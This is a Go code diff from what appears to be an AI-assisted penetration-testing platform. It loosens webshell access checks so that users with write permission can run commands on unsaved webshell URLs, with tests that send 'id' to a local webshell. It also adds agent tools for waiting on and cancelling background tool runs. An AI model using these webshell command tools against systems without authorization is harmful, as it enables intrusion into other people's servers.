@@ -823,13 +844,18 @@ func (h *WebShellHandler) FileOp(c *gin.Context) {
|
|||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "url and action are required"})
|
c.JSON(http.StatusBadRequest, gin.H{"error": "url and action are required"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
conn, allowed := h.authorizedWebshellConnection(c, req.ConnectionID, req.URL)
|
if cid := strings.TrimSpace(req.ConnectionID); cid != "" {
|
||||||
if !allowed {
|
conn, allowed := h.authorizedWebshellConnection(c, cid, req.URL)
|
||||||
|
if !allowed {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
|
||||||
|
req.Method, req.CmdParam, req.Encoding, req.OS = conn.Method, conn.CmdParam, conn.Encoding, conn.OS
|
||||||
|
} else if !security.SessionHasPermission(c, "webshell:write") {
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
|
|
||||||
req.Method, req.CmdParam, req.Encoding, req.OS = conn.Method, conn.CmdParam, conn.Encoding, conn.OS
|
|
||||||
|
|
||||||
parsed, err := url.Parse(req.URL)
|
parsed, err := url.Parse(req.URL)
|
||||||
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
|
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
|
||||||
@@ -928,6 +954,21 @@ func (h *WebShellHandler) authorizedWebshellConnection(c *gin.Context, connectio
|
|||||||
return conn, true
|
return conn, true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *WebShellHandler) canAccessProject(c *gin.Context, projectID string) bool {
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID == "" || h.db == nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
session, ok := security.CurrentSession(c)
|
||||||
|
if !ok {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if session.Scope == database.RBACScopeAll {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return h.db.UserCanAccessResource(session.UserID, session.Scope, "project", projectID)
|
||||||
|
}
|
||||||
|
|
||||||
// ExecWithConnection 在指定 WebShell 连接上执行命令(供 MCP/Agent 等非 HTTP 调用)
|
// ExecWithConnection 在指定 WebShell 连接上执行命令(供 MCP/Agent 等非 HTTP 调用)
|
||||||
func (h *WebShellHandler) ExecWithConnection(conn *database.WebShellConnection, command string) (output string, ok bool, errMsg string) {
|
func (h *WebShellHandler) ExecWithConnection(conn *database.WebShellConnection, command string) (output string, ok bool, errMsg string) {
|
||||||
if conn == nil {
|
if conn == nil {
|
||||||
|
|||||||
@@ -40,15 +40,47 @@ func TestWebshellExecRequiresConnectionAccessWhenConnectionIDProvided(t *testing
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestWebshellExecRejectsAdHocURLWithoutConnectionID(t *testing.T) {
|
func TestWebshellExecAllowsAdHocURLWithoutConnectionID(t *testing.T) {
|
||||||
gin.SetMode(gin.TestMode)
|
gin.SetMode(gin.TestMode)
|
||||||
_, user, _, _ := setupWebshellRBACTest(t)
|
_, user, _, _ := setupWebshellRBACTest(t)
|
||||||
handler := NewWebShellHandler(zap.NewNop(), nil)
|
handler := NewWebShellHandler(zap.NewNop(), nil)
|
||||||
|
// Ad-hoc probe (connectivity test before save) must not be rejected as "无权访问".
|
||||||
|
// The target URL will fail to connect; we only assert auth allows the request through.
|
||||||
w := performWebshellJSON(user, http.MethodPost, "/api/webshell/exec", map[string]interface{}{
|
w := performWebshellJSON(user, http.MethodPost, "/api/webshell/exec", map[string]interface{}{
|
||||||
"url": "http://127.0.0.1/admin", "command": "id",
|
"url": "http://127.0.0.1:1/admin", "command": "id",
|
||||||
}, handler.Exec)
|
}, handler.Exec)
|
||||||
|
if w.Code == http.StatusForbidden {
|
||||||
|
t.Fatalf("ad-hoc URL status = %d, want non-403: %s", w.Code, w.Body.String())
|
||||||
|
}
|
||||||
|
var resp ExecResponse
|
||||||
|
if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil {
|
||||||
|
t.Fatalf("decode response: %v body=%s", err, w.Body.String())
|
||||||
|
}
|
||||||
|
if resp.OK {
|
||||||
|
t.Fatalf("expected connection failure for closed port, got ok=true")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWebshellExecRejectsAdHocWithoutWritePermission(t *testing.T) {
|
||||||
|
gin.SetMode(gin.TestMode)
|
||||||
|
user := &database.RBACUser{ID: "u_ro", Username: "readonly"}
|
||||||
|
handler := NewWebShellHandler(zap.NewNop(), nil)
|
||||||
|
payload, _ := json.Marshal(map[string]interface{}{
|
||||||
|
"url": "http://127.0.0.1/admin", "command": "id",
|
||||||
|
})
|
||||||
|
w := httptest.NewRecorder()
|
||||||
|
c, _ := gin.CreateTestContext(w)
|
||||||
|
c.Request = httptest.NewRequest(http.MethodPost, "/api/webshell/exec", bytes.NewReader(payload))
|
||||||
|
c.Request.Header.Set("Content-Type", "application/json")
|
||||||
|
c.Set(security.ContextSessionKey, security.Session{
|
||||||
|
UserID: user.ID,
|
||||||
|
Username: user.Username,
|
||||||
|
Permissions: map[string]bool{"webshell:read": true},
|
||||||
|
Scope: database.RBACScopeAssigned,
|
||||||
|
})
|
||||||
|
handler.Exec(c)
|
||||||
if w.Code != http.StatusForbidden {
|
if w.Code != http.StatusForbidden {
|
||||||
t.Fatalf("ad-hoc URL status = %d, want %d: %s", w.Code, http.StatusForbidden, w.Body.String())
|
t.Fatalf("status = %d, want %d: %s", w.Code, http.StatusForbidden, w.Body.String())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -31,6 +31,11 @@ const (
|
|||||||
// 视觉分析(本地图片 → VL 模型 → 文本摘要)
|
// 视觉分析(本地图片 → VL 模型 → 文本摘要)
|
||||||
ToolAnalyzeImage = "analyze_image"
|
ToolAnalyzeImage = "analyze_image"
|
||||||
|
|
||||||
|
// 长耗时工具执行控制(后台 execution 查询/等待/取消)
|
||||||
|
ToolGetToolExecution = "get_tool_execution"
|
||||||
|
ToolWaitToolExecution = "wait_tool_execution"
|
||||||
|
ToolCancelToolExecution = "cancel_tool_execution"
|
||||||
|
|
||||||
// WebShell 助手工具(AI 在 WebShell 管理 - AI 助手 中使用)
|
// WebShell 助手工具(AI 在 WebShell 管理 - AI 助手 中使用)
|
||||||
ToolWebshellExec = "webshell_exec"
|
ToolWebshellExec = "webshell_exec"
|
||||||
ToolWebshellFileList = "webshell_file_list"
|
ToolWebshellFileList = "webshell_file_list"
|
||||||
@@ -91,6 +96,9 @@ func IsBuiltinTool(toolName string) bool {
|
|||||||
ToolListKnowledgeRiskTypes,
|
ToolListKnowledgeRiskTypes,
|
||||||
ToolSearchKnowledgeBase,
|
ToolSearchKnowledgeBase,
|
||||||
ToolAnalyzeImage,
|
ToolAnalyzeImage,
|
||||||
|
ToolGetToolExecution,
|
||||||
|
ToolWaitToolExecution,
|
||||||
|
ToolCancelToolExecution,
|
||||||
ToolWebshellExec,
|
ToolWebshellExec,
|
||||||
ToolWebshellFileList,
|
ToolWebshellFileList,
|
||||||
ToolWebshellFileRead,
|
ToolWebshellFileRead,
|
||||||
@@ -149,6 +157,9 @@ func GetAllBuiltinTools() []string {
|
|||||||
ToolListKnowledgeRiskTypes,
|
ToolListKnowledgeRiskTypes,
|
||||||
ToolSearchKnowledgeBase,
|
ToolSearchKnowledgeBase,
|
||||||
ToolAnalyzeImage,
|
ToolAnalyzeImage,
|
||||||
|
ToolGetToolExecution,
|
||||||
|
ToolWaitToolExecution,
|
||||||
|
ToolCancelToolExecution,
|
||||||
ToolWebshellExec,
|
ToolWebshellExec,
|
||||||
ToolWebshellFileList,
|
ToolWebshellFileList,
|
||||||
ToolWebshellFileRead,
|
ToolWebshellFileRead,
|
||||||
|
|||||||
@@ -0,0 +1,296 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
defaultExecutionWaitTimeout = 60 * time.Second
|
||||||
|
maxExecutionWaitTimeout = 10 * time.Minute
|
||||||
|
defaultPartialPreviewBytes = 4096
|
||||||
|
maxPartialPreviewBytes = 64 * 1024
|
||||||
|
)
|
||||||
|
|
||||||
|
// RegisterExecutionControlTools exposes execution handle operations to Eino as
|
||||||
|
// ordinary MCP tools. This keeps the agent loop native: the model calls a tool,
|
||||||
|
// receives a bounded result, and may call wait_tool_execution again if needed.
|
||||||
|
func RegisterExecutionControlTools(server *Server, external *ExternalMCPManager) {
|
||||||
|
if server == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
server.RegisterTool(Tool{
|
||||||
|
Name: builtin.ToolGetToolExecution,
|
||||||
|
Description: "查询后台工具 execution 的当前状态、结果和错误。用于外部 MCP 工具等待超时后,凭 execution_id 继续查看进度。",
|
||||||
|
ShortDescription: "查询后台工具执行状态",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
|
||||||
|
"include_partial_output": map[string]interface{}{"type": "boolean", "description": "是否返回运行中已产生输出的尾部预览,默认 true"},
|
||||||
|
"partial_output_max_bytes": map[string]interface{}{"type": "number", "description": "partial_output 最多返回字节数,默认 4096,最大 65536"},
|
||||||
|
},
|
||||||
|
"required": []string{"execution_id"},
|
||||||
|
},
|
||||||
|
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||||
|
id := stringArg(args, "execution_id")
|
||||||
|
if id == "" {
|
||||||
|
return textToolResult("execution_id 必填", true), nil
|
||||||
|
}
|
||||||
|
exec := lookupToolExecution(server, external, id)
|
||||||
|
if exec == nil {
|
||||||
|
return textToolResult("未找到该 execution_id: "+id, true), nil
|
||||||
|
}
|
||||||
|
return textToolResult(formatExecutionForModel(exec, executionFormatOptionsFromArgs(args)), false), nil
|
||||||
|
})
|
||||||
|
|
||||||
|
server.RegisterTool(Tool{
|
||||||
|
Name: builtin.ToolWaitToolExecution,
|
||||||
|
Description: "继续等待一个后台工具 execution 完成。每次等待都有 timeout_seconds 上限;若仍未完成,会返回当前状态,模型可稍后再次调用。",
|
||||||
|
ShortDescription: "有界等待后台工具执行",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
|
||||||
|
"timeout_seconds": map[string]interface{}{"type": "number", "description": "本次最多等待秒数,默认 60,最大 600"},
|
||||||
|
"include_partial_output": map[string]interface{}{"type": "boolean", "description": "是否返回运行中已产生输出的尾部预览,默认 true"},
|
||||||
|
"partial_output_max_bytes": map[string]interface{}{"type": "number", "description": "partial_output 最多返回字节数,默认 4096,最大 65536"},
|
||||||
|
},
|
||||||
|
"required": []string{"execution_id"},
|
||||||
|
},
|
||||||
|
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||||
|
id := stringArg(args, "execution_id")
|
||||||
|
if id == "" {
|
||||||
|
return textToolResult("execution_id 必填", true), nil
|
||||||
|
}
|
||||||
|
wait := durationSecondsArg(args, "timeout_seconds", defaultExecutionWaitTimeout, maxExecutionWaitTimeout)
|
||||||
|
snap, err := waitToolExecutionSnapshot(ctx, server, external, id, wait)
|
||||||
|
if err != nil && !errors.Is(err, ErrExecutionWaitTimeout) {
|
||||||
|
return textToolResult("等待 execution 失败: "+err.Error(), true), nil
|
||||||
|
}
|
||||||
|
if snap == nil || snap.Execution == nil {
|
||||||
|
return textToolResult("未找到该 execution_id: "+id, true), nil
|
||||||
|
}
|
||||||
|
body := formatExecutionForModel(snap.Execution, executionFormatOptionsFromArgs(args))
|
||||||
|
if errors.Is(err, ErrExecutionWaitTimeout) {
|
||||||
|
body += "\n\n本次等待已到达 timeout_seconds,上述 execution 仍未完成。可继续等待、取消,或采用其他步骤。"
|
||||||
|
}
|
||||||
|
return textToolResult(body, false), nil
|
||||||
|
})
|
||||||
|
|
||||||
|
server.RegisterTool(Tool{
|
||||||
|
Name: builtin.ToolCancelToolExecution,
|
||||||
|
Description: "取消一个后台工具 execution。用于外部 MCP 工具长时间运行、误调用或用户要求停止时。",
|
||||||
|
ShortDescription: "取消后台工具执行",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
|
||||||
|
"reason": map[string]interface{}{"type": "string", "description": "取消原因,可选,会写入终止说明"},
|
||||||
|
},
|
||||||
|
"required": []string{"execution_id"},
|
||||||
|
},
|
||||||
|
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
|
||||||
|
id := stringArg(args, "execution_id")
|
||||||
|
if id == "" {
|
||||||
|
return textToolResult("execution_id 必填", true), nil
|
||||||
|
}
|
||||||
|
reason := stringArg(args, "reason")
|
||||||
|
if server.CancelToolExecutionWithNote(id, reason) {
|
||||||
|
return textToolResult("已请求取消内部工具 execution: "+id, false), nil
|
||||||
|
}
|
||||||
|
if external != nil && external.CancelToolExecutionWithNote(id, reason) {
|
||||||
|
return textToolResult("已请求取消外部 MCP execution: "+id, false), nil
|
||||||
|
}
|
||||||
|
return textToolResult("未找到进行中的 execution,或该 execution 已结束: "+id, true), nil
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func waitToolExecutionSnapshot(ctx context.Context, server *Server, external *ExternalMCPManager, id string, wait time.Duration) (*ExecutionSnapshot, error) {
|
||||||
|
if server != nil && server.executionService != nil && server.executionService.getEntry(id) != nil {
|
||||||
|
return server.executionService.Wait(ctx, id, wait)
|
||||||
|
}
|
||||||
|
if external != nil && external.executionService != nil && external.executionService.getEntry(id) != nil {
|
||||||
|
return external.executionService.Wait(ctx, id, wait)
|
||||||
|
}
|
||||||
|
if server != nil && server.executionService != nil {
|
||||||
|
if snap, err := server.executionService.Get(id); err == nil {
|
||||||
|
return snap, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if external != nil && external.executionService != nil {
|
||||||
|
return external.executionService.Get(id)
|
||||||
|
}
|
||||||
|
exec := lookupToolExecution(server, external, id)
|
||||||
|
if exec == nil {
|
||||||
|
return nil, fmt.Errorf("execution not found: %s", id)
|
||||||
|
}
|
||||||
|
return &ExecutionSnapshot{Execution: exec}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func lookupToolExecution(server *Server, external *ExternalMCPManager, id string) *ToolExecution {
|
||||||
|
if server != nil {
|
||||||
|
if exec, ok := server.GetExecution(id); ok && exec != nil {
|
||||||
|
return exec
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if external != nil {
|
||||||
|
if exec, ok := external.GetExecution(id); ok && exec != nil {
|
||||||
|
return exec
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type executionFormatOptions struct {
|
||||||
|
includePartialOutput bool
|
||||||
|
partialMaxBytes int
|
||||||
|
}
|
||||||
|
|
||||||
|
func executionFormatOptionsFromArgs(args map[string]interface{}) executionFormatOptions {
|
||||||
|
includePartial := true
|
||||||
|
if raw, ok := args["include_partial_output"]; ok {
|
||||||
|
if b, ok := raw.(bool); ok {
|
||||||
|
includePartial = b
|
||||||
|
} else if s := strings.TrimSpace(fmt.Sprint(raw)); s != "" {
|
||||||
|
includePartial = strings.EqualFold(s, "true") || s == "1" || strings.EqualFold(s, "yes")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
maxBytes := intArg(args, "partial_output_max_bytes", defaultPartialPreviewBytes, maxPartialPreviewBytes)
|
||||||
|
return executionFormatOptions{includePartialOutput: includePartial, partialMaxBytes: maxBytes}
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatExecutionForModel(exec *ToolExecution, opts executionFormatOptions) string {
|
||||||
|
if exec == nil {
|
||||||
|
return "execution: null"
|
||||||
|
}
|
||||||
|
payload := map[string]interface{}{
|
||||||
|
"execution_id": exec.ID,
|
||||||
|
"tool": exec.ToolName,
|
||||||
|
"status": exec.Status,
|
||||||
|
"started_at": exec.StartTime.Format(time.RFC3339),
|
||||||
|
}
|
||||||
|
if exec.EndTime != nil {
|
||||||
|
payload["ended_at"] = exec.EndTime.Format(time.RFC3339)
|
||||||
|
}
|
||||||
|
if exec.Duration > 0 {
|
||||||
|
payload["duration"] = exec.Duration.String()
|
||||||
|
}
|
||||||
|
if exec.Error != "" {
|
||||||
|
payload["error"] = exec.Error
|
||||||
|
}
|
||||||
|
if exec.Result != nil {
|
||||||
|
payload["result"] = ToolResultPlainText(exec.Result)
|
||||||
|
payload["is_error"] = exec.Result.IsError
|
||||||
|
}
|
||||||
|
if opts.includePartialOutput && exec.PartialOutput != "" {
|
||||||
|
partial := tailStringBytes(exec.PartialOutput, opts.partialMaxBytes)
|
||||||
|
payload["partial_output"] = partial
|
||||||
|
payload["partial_output_bytes"] = exec.PartialOutputBytes
|
||||||
|
payload["partial_output_truncated"] = exec.PartialOutputTruncated || len([]byte(partial)) < len([]byte(exec.PartialOutput))
|
||||||
|
if exec.PartialOutputUpdatedAt != nil {
|
||||||
|
payload["partial_output_updated_at"] = exec.PartialOutputUpdatedAt.Format(time.RFC3339)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
b, err := json.MarshalIndent(payload, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Sprintf("execution_id: %s\nstatus: %s\nerror: %s", exec.ID, exec.Status, exec.Error)
|
||||||
|
}
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
func tailStringBytes(s string, maxBytes int) string {
|
||||||
|
if maxBytes <= 0 {
|
||||||
|
maxBytes = defaultPartialPreviewBytes
|
||||||
|
}
|
||||||
|
b := []byte(s)
|
||||||
|
if len(b) <= maxBytes {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
return string(b[len(b)-maxBytes:])
|
||||||
|
}
|
||||||
|
|
||||||
|
func textToolResult(text string, isErr bool) *ToolResult {
|
||||||
|
return &ToolResult{Content: []Content{{Type: "text", Text: text}}, IsError: isErr}
|
||||||
|
}
|
||||||
|
|
||||||
|
func stringArg(args map[string]interface{}, key string) string {
|
||||||
|
if args == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
raw, ok := args[key]
|
||||||
|
if !ok || raw == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
switch v := raw.(type) {
|
||||||
|
case string:
|
||||||
|
return strings.TrimSpace(v)
|
||||||
|
default:
|
||||||
|
return strings.TrimSpace(fmt.Sprint(v))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func durationSecondsArg(args map[string]interface{}, key string, def, max time.Duration) time.Duration {
|
||||||
|
if args == nil {
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
var seconds float64
|
||||||
|
switch v := args[key].(type) {
|
||||||
|
case int:
|
||||||
|
seconds = float64(v)
|
||||||
|
case int64:
|
||||||
|
seconds = float64(v)
|
||||||
|
case float64:
|
||||||
|
seconds = v
|
||||||
|
case json.Number:
|
||||||
|
f, _ := v.Float64()
|
||||||
|
seconds = f
|
||||||
|
case string:
|
||||||
|
f, _ := strconv.ParseFloat(strings.TrimSpace(v), 64)
|
||||||
|
seconds = f
|
||||||
|
}
|
||||||
|
if seconds <= 0 {
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
d := time.Duration(seconds * float64(time.Second))
|
||||||
|
if max > 0 && d > max {
|
||||||
|
return max
|
||||||
|
}
|
||||||
|
return d
|
||||||
|
}
|
||||||
|
|
||||||
|
func intArg(args map[string]interface{}, key string, def, max int) int {
|
||||||
|
if args == nil {
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
var n int
|
||||||
|
switch v := args[key].(type) {
|
||||||
|
case int:
|
||||||
|
n = v
|
||||||
|
case int64:
|
||||||
|
n = int(v)
|
||||||
|
case float64:
|
||||||
|
n = int(v)
|
||||||
|
case json.Number:
|
||||||
|
i, _ := v.Int64()
|
||||||
|
n = int(i)
|
||||||
|
case string:
|
||||||
|
i, _ := strconv.Atoi(strings.TrimSpace(v))
|
||||||
|
n = i
|
||||||
|
}
|
||||||
|
if n <= 0 {
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
if max > 0 && n > max {
|
||||||
|
return max
|
||||||
|
}
|
||||||
|
return n
|
||||||
|
}
|
||||||
@@ -0,0 +1,625 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/authctx"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
ToolExecutionStatusQueued = "queued"
|
||||||
|
ToolExecutionStatusRunning = "running"
|
||||||
|
ToolExecutionStatusCompleted = "completed"
|
||||||
|
ToolExecutionStatusFailed = "failed"
|
||||||
|
ToolExecutionStatusCancelled = "cancelled"
|
||||||
|
ToolExecutionStatusHardTimeout = "hard_timeout"
|
||||||
|
ToolExecutionStatusOrphaned = "orphaned"
|
||||||
|
)
|
||||||
|
|
||||||
|
var ErrExecutionWaitTimeout = errors.New("tool execution wait timeout")
|
||||||
|
|
||||||
|
// ExecutionRunFunc is the blocking operation owned by a worker.
|
||||||
|
type ExecutionRunFunc func(context.Context) (*ToolResult, error)
|
||||||
|
|
||||||
|
type ExecutionPreRunFunc func(context.Context, *ToolExecution) (func(), error)
|
||||||
|
|
||||||
|
// ExecutionDoneFunc observes the final persisted state. It is invoked once,
|
||||||
|
// including for late completions after an agent has stopped waiting.
|
||||||
|
type ExecutionDoneFunc func(*ToolExecution)
|
||||||
|
|
||||||
|
type ExecutionRequest struct {
|
||||||
|
ID string
|
||||||
|
ToolName string
|
||||||
|
Arguments map[string]interface{}
|
||||||
|
ConversationID string
|
||||||
|
OwnerUserID string
|
||||||
|
HardTimeout time.Duration
|
||||||
|
PreRun ExecutionPreRunFunc
|
||||||
|
Run ExecutionRunFunc
|
||||||
|
OnDone ExecutionDoneFunc
|
||||||
|
}
|
||||||
|
|
||||||
|
type ExecutionHandle struct {
|
||||||
|
ID string
|
||||||
|
}
|
||||||
|
|
||||||
|
type ExecutionSnapshot struct {
|
||||||
|
Execution *ToolExecution
|
||||||
|
}
|
||||||
|
|
||||||
|
type executionEntry struct {
|
||||||
|
exec *ToolExecution
|
||||||
|
cancel context.CancelFunc
|
||||||
|
done chan struct{}
|
||||||
|
preRun ExecutionPreRunFunc
|
||||||
|
run ExecutionRunFunc
|
||||||
|
result *ToolResult
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExecutionService keeps Eino-facing tool calls synchronous while moving the
|
||||||
|
// untrusted blocking work into cancellable workers with explicit execution IDs.
|
||||||
|
type ExecutionService struct {
|
||||||
|
storage MonitorStorage
|
||||||
|
logger *zap.Logger
|
||||||
|
|
||||||
|
mu sync.Mutex
|
||||||
|
entries map[string]*executionEntry
|
||||||
|
abortUserNotes map[string]string
|
||||||
|
maxInMemory int
|
||||||
|
resultMaxBytes int
|
||||||
|
spillRootDir string
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewExecutionService(storage MonitorStorage, logger *zap.Logger) *ExecutionService {
|
||||||
|
if logger == nil {
|
||||||
|
logger = zap.NewNop()
|
||||||
|
}
|
||||||
|
return &ExecutionService{
|
||||||
|
storage: storage,
|
||||||
|
logger: logger,
|
||||||
|
entries: make(map[string]*executionEntry),
|
||||||
|
abortUserNotes: make(map[string]string),
|
||||||
|
maxInMemory: 1000,
|
||||||
|
resultMaxBytes: DefaultToolResultMaxBytes,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) ConfigureToolResultMaxBytes(maxBytes int) {
|
||||||
|
if s == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
s.resultMaxBytes = maxBytes
|
||||||
|
}
|
||||||
|
|
||||||
|
// ConfigureToolResultSpillRoot sets the reduction-compatible root used when
|
||||||
|
// oversized tool results are spilled to local files (empty → tmp/reduction).
|
||||||
|
func (s *ExecutionService) ConfigureToolResultSpillRoot(rootDir string) {
|
||||||
|
if s == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
s.spillRootDir = strings.TrimSpace(rootDir)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) Submit(ctx context.Context, req ExecutionRequest) (*ExecutionHandle, error) {
|
||||||
|
if s == nil {
|
||||||
|
return nil, fmt.Errorf("execution service is nil")
|
||||||
|
}
|
||||||
|
if req.Run == nil {
|
||||||
|
return nil, fmt.Errorf("execution run func is nil")
|
||||||
|
}
|
||||||
|
id := strings.TrimSpace(req.ID)
|
||||||
|
if id == "" {
|
||||||
|
id = uuid.New().String()
|
||||||
|
}
|
||||||
|
start := time.Now()
|
||||||
|
exec := &ToolExecution{
|
||||||
|
ID: id,
|
||||||
|
ToolName: strings.TrimSpace(req.ToolName),
|
||||||
|
Arguments: cloneArgsMap(req.Arguments),
|
||||||
|
Status: ToolExecutionStatusQueued,
|
||||||
|
StartTime: start,
|
||||||
|
ConversationID: strings.TrimSpace(req.ConversationID),
|
||||||
|
OwnerUserID: strings.TrimSpace(req.OwnerUserID),
|
||||||
|
}
|
||||||
|
if exec.ConversationID == "" {
|
||||||
|
exec.ConversationID = MCPConversationIDFromContext(ctx)
|
||||||
|
}
|
||||||
|
if exec.OwnerUserID == "" {
|
||||||
|
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||||
|
exec.OwnerUserID = principal.UserID
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
runCtx := detachedExecutionContext(ctx)
|
||||||
|
var cancel context.CancelFunc
|
||||||
|
if req.HardTimeout > 0 {
|
||||||
|
runCtx, cancel = context.WithTimeout(runCtx, req.HardTimeout)
|
||||||
|
} else {
|
||||||
|
runCtx, cancel = context.WithCancel(runCtx)
|
||||||
|
}
|
||||||
|
entry := &executionEntry{exec: exec, cancel: cancel, done: make(chan struct{}), preRun: req.PreRun, run: req.Run}
|
||||||
|
|
||||||
|
s.mu.Lock()
|
||||||
|
if _, exists := s.entries[id]; exists {
|
||||||
|
s.mu.Unlock()
|
||||||
|
cancel()
|
||||||
|
return nil, fmt.Errorf("execution already exists: %s", id)
|
||||||
|
}
|
||||||
|
s.entries[id] = entry
|
||||||
|
s.cleanupOldEntriesLocked()
|
||||||
|
s.mu.Unlock()
|
||||||
|
|
||||||
|
if s.storage != nil {
|
||||||
|
if err := s.storage.SaveToolExecution(exec); err != nil {
|
||||||
|
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err), zap.String("executionId", id))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
notifyToolRunBegin(ctx, id)
|
||||||
|
|
||||||
|
go s.runWorker(runCtx, entry, req.OnDone)
|
||||||
|
return &ExecutionHandle{ID: id}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) runWorker(ctx context.Context, entry *executionEntry, onDone ExecutionDoneFunc) {
|
||||||
|
id := entry.exec.ID
|
||||||
|
ctx = WithMCPExecutionID(ctx, id)
|
||||||
|
if conv := strings.TrimSpace(entry.exec.ConversationID); conv != "" {
|
||||||
|
ctx = WithMCPConversationID(ctx, conv)
|
||||||
|
}
|
||||||
|
var release func()
|
||||||
|
defer func() {
|
||||||
|
if release != nil {
|
||||||
|
release()
|
||||||
|
}
|
||||||
|
entry.cancel()
|
||||||
|
notifyToolRunEnd(ctx, id)
|
||||||
|
close(entry.done)
|
||||||
|
}()
|
||||||
|
|
||||||
|
if entry.preRun != nil {
|
||||||
|
var preErr error
|
||||||
|
release, preErr = entry.preRun(ctx, cloneToolExecution(entry.exec))
|
||||||
|
if preErr != nil {
|
||||||
|
s.finishEntry(ctx, entry, nil, preErr, onDone)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
s.markEntryRunning(entry)
|
||||||
|
|
||||||
|
result, err := entryResultRecover(ctx, entry.exec.ToolName, s.logger, func() (*ToolResult, error) {
|
||||||
|
return nilSafeRun(ctx, entry)
|
||||||
|
})
|
||||||
|
s.finishEntry(ctx, entry, result, err, onDone)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *ExecutionService) markEntryRunning(entry *executionEntry) {
|
||||||
|
if s == nil || entry == nil || entry.exec == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.mu.Lock()
|
||||||
|
if !isExecutionTerminal(entry.exec.Status) {
|
||||||
|
entry.exec.Status = ToolExecutionStatusRunning
|
||||||
|
}
|
||||||
|
runningExec := cloneToolExecution(entry.exec)
|
||||||
|
s.mu.Unlock()
|
||||||
|
if s.storage != nil {
